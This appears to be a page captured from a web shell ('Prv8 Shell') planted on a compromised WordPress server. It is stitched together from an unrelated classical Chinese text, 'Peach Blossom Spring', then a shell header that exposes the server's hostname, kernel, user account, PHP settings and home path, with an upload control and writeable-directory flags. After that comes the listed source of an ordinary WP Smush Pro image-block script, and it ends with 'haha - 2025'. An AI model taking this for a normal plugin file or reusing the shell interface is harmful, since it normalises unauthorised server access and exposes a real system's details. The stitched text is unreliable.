晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/wp-smush-pro/_src/js/smush/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/wp-smush-pro/_src/js/smush/blocks.js
/**
 * BLOCK: extend image block
 */
const { createHigherOrderComponent } = wp.compose,
	{ Fragment } = wp.element,
	{ InspectorControls } = wp.blockEditor,
	{ PanelBody } = wp.components;

/**
 * Transform bytes to human readable format.
 *
 * @param {number} bytes
 * @return {string}  Readable size string.
 */
function humanFileSize( bytes ) {
	const thresh = 1024,
		units = [ 'kB', 'MB', 'GB', 'TB' ];

	if ( Math.abs( bytes ) < thresh ) {
		return bytes + ' B';
	}

	let u = -1;
	do {
		bytes /= thresh;
		++u;
	} while ( Math.abs( bytes ) >= thresh && u < units.length - 1 );

	return bytes.toFixed( 1 ) + ' ' + units[ u ];
}

/**
 * Generate Smush stats table.
 *
 * @param {number} id
 * @param {Object} stats
 * @return {*}  Smush stats.
 */
export function smushStats( id, stats ) {
	if ( 'undefined' === typeof stats ) {
		return window.smush_vars.strings.gb.select_image;
	} else if ( 'string' === typeof stats ) {
		return stats;
	}

	return (
		<div
			id="smush-stats"
			className="sui-smush-media smush-stats-wrapper hidden"
			style={ { display: 'block' } }
		>
			<table className="wp-smush-stats-holder">
				<thead>
					<tr>
						<th className="smush-stats-header">
							{ window.smush_vars.strings.gb.size }
						</th>
						<th className="smush-stats-header">
							{ window.smush_vars.strings.gb.savings }
						</th>
					</tr>
				</thead>
				<tbody>
					{ Object.keys( stats.sizes )
						.filter( ( item ) => 0 < stats.sizes[ item ].percent )
						.map( ( item, i ) => (
							<tr key={ i }>
								<td>{ item.toUpperCase() }</td>
								<td>
									{ humanFileSize(
										stats.sizes[ item ].bytes
									) }{ ' ' }
									( { stats.sizes[ item ].percent }% )
								</td>
							</tr>
						) ) }
				</tbody>
			</table>
		</div>
	);
}

/**
 * Fetch image data. If image is Smushing, update in 3 seconds.
 *
 * TODO: this could be optimized not to query so much.
 *
 * @param {Object} props
 */
export function fetchProps( props ) {
	const image = new wp.api.models.Media( { id: props.attributes.id } ),
		smushData = props.attributes.smush;

	image.fetch( { attribute: 'smush' } ).done( function( img ) {
		if ( 'string' === typeof img.smush ) {
			props.setAttributes( { smush: img.smush } );
			//setTimeout( () => fetch( props ), 3000 );
		} else if (
			'undefined' !== typeof img.smush &&
			( 'undefined' === typeof smushData ||
				JSON.stringify( smushData ) !== JSON.stringify( img.smush ) )
		) {
			props.setAttributes( { smush: img.smush } );
		}
	} );
}

/**
 * Modify the block’s edit component.
 * Receives the original block BlockEdit component and returns a new wrapped component.
 */
const smushStatsControl = createHigherOrderComponent( ( BlockEdit ) => {
	return ( props ) => {
		// If not image block or not selected, return unmodified block.
		if (
			'core/image' !== props.name ||
			! props.isSelected ||
			'undefined' === typeof props.attributes.id
		) {
			return (
				<Fragment>
					<BlockEdit { ...props } />
				</Fragment>
			);
		}

		const smushData = props.attributes.smush;
		fetchProps( props );

		return (
			<Fragment>
				<BlockEdit { ...props } />
				<InspectorControls>
					<PanelBody title={ window.smush_vars.strings.gb.stats }>
						{ smushStats( props.attributes.id, smushData ) }
					</PanelBody>
				</InspectorControls>
			</Fragment>
		);
	};
}, 'withInspectorControl' );

wp.hooks.addFilter(
	'editor.BlockEdit',
	'wp-smush/smush-data-control',
	smushStatsControl
);

haha - 2025